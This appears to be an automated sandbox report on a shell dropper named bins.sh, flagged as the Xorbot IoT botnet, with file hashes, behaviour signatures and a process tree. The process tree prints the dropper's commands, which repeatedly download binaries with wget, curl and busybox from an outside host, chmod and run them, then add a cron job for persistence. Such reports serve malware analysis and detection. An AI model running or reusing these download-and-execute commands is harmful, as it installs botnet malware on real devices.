Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    05-01-2025 15:46

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    b04e2c0ae63437f3d6159de0e92a5929

  • SHA1

    f94b507015c3aa5d700ce4f8bddaaecfa374c0ef

  • SHA256

    939d0bffa96b1358bc2260e51e0cbabd8177f341001bd2e2f1cbde3e853179eb

  • SHA512

    375244936542defaac34272ae050a449f48bbae7ff71b264249cc5593e699e6814879a5e57067a1b4550b9fd85ccaaa4238fb380b5349a1b2223c17946f6fea3

  • SSDEEP

    96:YvDZ9XnxwHbXWUsgscszcJp1B5wLJCJaJ7UYZb2bmbVQUQfzlLZSZqZTwUxzkzod:M3Z0dWuTwUta2keQLwWuTwUla2R

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1516) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 19 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:701
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:703
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/RvTaCBHK6bX1Vn8AQISyzzeo1BPFMChRHh
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:704
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/RvTaCBHK6bX1Vn8AQISyzzeo1BPFMChRHh
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:725
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/RvTaCBHK6bX1Vn8AQISyzzeo1BPFMChRHh
          2⤵
          • System Network Configuration Discovery
          PID:732
        • /bin/chmod
          chmod 777 RvTaCBHK6bX1Vn8AQISyzzeo1BPFMChRHh
          2⤵
          • File and Directory Permissions Modification
          PID:733
        • /tmp/RvTaCBHK6bX1Vn8AQISyzzeo1BPFMChRHh
          ./RvTaCBHK6bX1Vn8AQISyzzeo1BPFMChRHh
          2⤵
          • Executes dropped EXE
          PID:734
        • /bin/rm
          rm RvTaCBHK6bX1Vn8AQISyzzeo1BPFMChRHh
          2⤵
            PID:736
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/vV2YReqGzoYf4fcEJjYDWSCsK1F4Ubgs0d
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:737
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/vV2YReqGzoYf4fcEJjYDWSCsK1F4Ubgs0d
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:738
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/vV2YReqGzoYf4fcEJjYDWSCsK1F4Ubgs0d
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:746
          • /bin/chmod
            chmod 777 vV2YReqGzoYf4fcEJjYDWSCsK1F4Ubgs0d
            2⤵
            • File and Directory Permissions Modification
            PID:751
          • /tmp/vV2YReqGzoYf4fcEJjYDWSCsK1F4Ubgs0d
            ./vV2YReqGzoYf4fcEJjYDWSCsK1F4Ubgs0d
            2⤵
            • Executes dropped EXE
            PID:752
          • /bin/rm
            rm vV2YReqGzoYf4fcEJjYDWSCsK1F4Ubgs0d
            2⤵
              PID:755
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/xcMzpf61Kv7btQ46BoclZIhosUSgrwIeGJ
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:757
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/xcMzpf61Kv7btQ46BoclZIhosUSgrwIeGJ
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:772
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/xcMzpf61Kv7btQ46BoclZIhosUSgrwIeGJ
              2⤵
              • System Network Configuration Discovery
              PID:792
            • /bin/chmod
              chmod 777 xcMzpf61Kv7btQ46BoclZIhosUSgrwIeGJ
              2⤵
              • File and Directory Permissions Modification
              PID:794
            • /tmp/xcMzpf61Kv7btQ46BoclZIhosUSgrwIeGJ
              ./xcMzpf61Kv7btQ46BoclZIhosUSgrwIeGJ
              2⤵
              • Executes dropped EXE
              PID:795
            • /bin/rm
              rm xcMzpf61Kv7btQ46BoclZIhosUSgrwIeGJ
              2⤵
                PID:797
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/sTk0WWLgPBW1mseOPuJF9Ysqf83XAw1wpe
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:798
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/sTk0WWLgPBW1mseOPuJF9Ysqf83XAw1wpe
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:799
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/sTk0WWLgPBW1mseOPuJF9Ysqf83XAw1wpe
                2⤵
                • System Network Configuration Discovery
                PID:801
              • /bin/chmod
                chmod 777 sTk0WWLgPBW1mseOPuJF9Ysqf83XAw1wpe
                2⤵
                • File and Directory Permissions Modification
                PID:810
              • /tmp/sTk0WWLgPBW1mseOPuJF9Ysqf83XAw1wpe
                ./sTk0WWLgPBW1mseOPuJF9Ysqf83XAw1wpe
                2⤵
                • Executes dropped EXE
                PID:811
              • /bin/rm
                rm sTk0WWLgPBW1mseOPuJF9Ysqf83XAw1wpe
                2⤵
                  PID:814
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/wudVfsE6Sbmv8tif5seyhBncGQfOFUvoru
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:816
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/wudVfsE6Sbmv8tif5seyhBncGQfOFUvoru
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:837
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/wudVfsE6Sbmv8tif5seyhBncGQfOFUvoru
                  2⤵
                  • System Network Configuration Discovery
                  PID:839
                • /bin/chmod
                  chmod 777 wudVfsE6Sbmv8tif5seyhBncGQfOFUvoru
                  2⤵
                  • File and Directory Permissions Modification
                  PID:843
                • /tmp/wudVfsE6Sbmv8tif5seyhBncGQfOFUvoru
                  ./wudVfsE6Sbmv8tif5seyhBncGQfOFUvoru
                  2⤵
                  • Executes dropped EXE
                  PID:844
                • /bin/rm
                  rm wudVfsE6Sbmv8tif5seyhBncGQfOFUvoru
                  2⤵
                    PID:846
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:847
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:848
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1
                    2⤵
                    • System Network Configuration Discovery
                    PID:850
                  • /bin/chmod
                    chmod 777 sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1
                    2⤵
                    • File and Directory Permissions Modification
                    PID:851
                  • /tmp/sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1
                    ./sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:852
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:854
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:855
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:856
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:857
                        • /bin/rm
                          rm sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1
                          2⤵
                            PID:859
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/UeTwdxakpDXicVEjjPdfLxkvmKvDl3RF9r
                            2⤵
                            • System Network Configuration Discovery
                            PID:862

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/RvTaCBHK6bX1Vn8AQISyzzeo1BPFMChRHh

                          Filesize

                          112KB

                          MD5

                          05d7857dcead18bbd86d2935f591873c

                          SHA1

                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                          SHA256

                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                          SHA512

                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                        • /tmp/sTk0WWLgPBW1mseOPuJF9Ysqf83XAw1wpe

                          Filesize

                          99KB

                          MD5

                          9438d9bc392bcf300a5583b6df5bc8f6

                          SHA1

                          375a6ae34b516f6f3eeea8030c4084f585017efa

                          SHA256

                          68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                          SHA512

                          1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                        • /tmp/sfolH9dBEw05svm6i2n60alwPJ0od0hlZ1

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /tmp/vV2YReqGzoYf4fcEJjYDWSCsK1F4Ubgs0d

                          Filesize

                          111KB

                          MD5

                          701e7a55a4f3650f5feee92a9860e5fc

                          SHA1

                          6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                          SHA256

                          ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                          SHA512

                          7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                        • /tmp/wudVfsE6Sbmv8tif5seyhBncGQfOFUvoru

                          Filesize

                          141KB

                          MD5

                          3ca8decdb1e52c423c521bfff02ac200

                          SHA1

                          8621ecd6807109b8541912ad9e134f6fb49bfd48

                          SHA256

                          dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                          SHA512

                          b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                        • /tmp/xcMzpf61Kv7btQ46BoclZIhosUSgrwIeGJ

                          Filesize

                          107KB

                          MD5

                          eb9c3a0de91fcf16ba17cb24608df68c

                          SHA1

                          09d95a7d70d5e115d103be51edff7c498d272fac

                          SHA256

                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                          SHA512

                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                        • /var/spool/cron/crontabs/tmp.8G1vQf

                          Filesize

                          210B

                          MD5

                          ac42c736f0469b0db4f4d9f9d3213b3f

                          SHA1

                          9a47545e81ac6e67460604bc3440e4eb83938781

                          SHA256

                          ebb43cc452aaa0a56692c6283c8bbec3669085486c88e1b7246b67f78ba07ba1

                          SHA512

                          c80132efb956c8f477411c66f0f2ed13023eb9c7a41e15a2f8850b0ed35968f7a061da8d03e12edb0b917e62e3f0120270c23865be72d5c27b70bfd632c0510f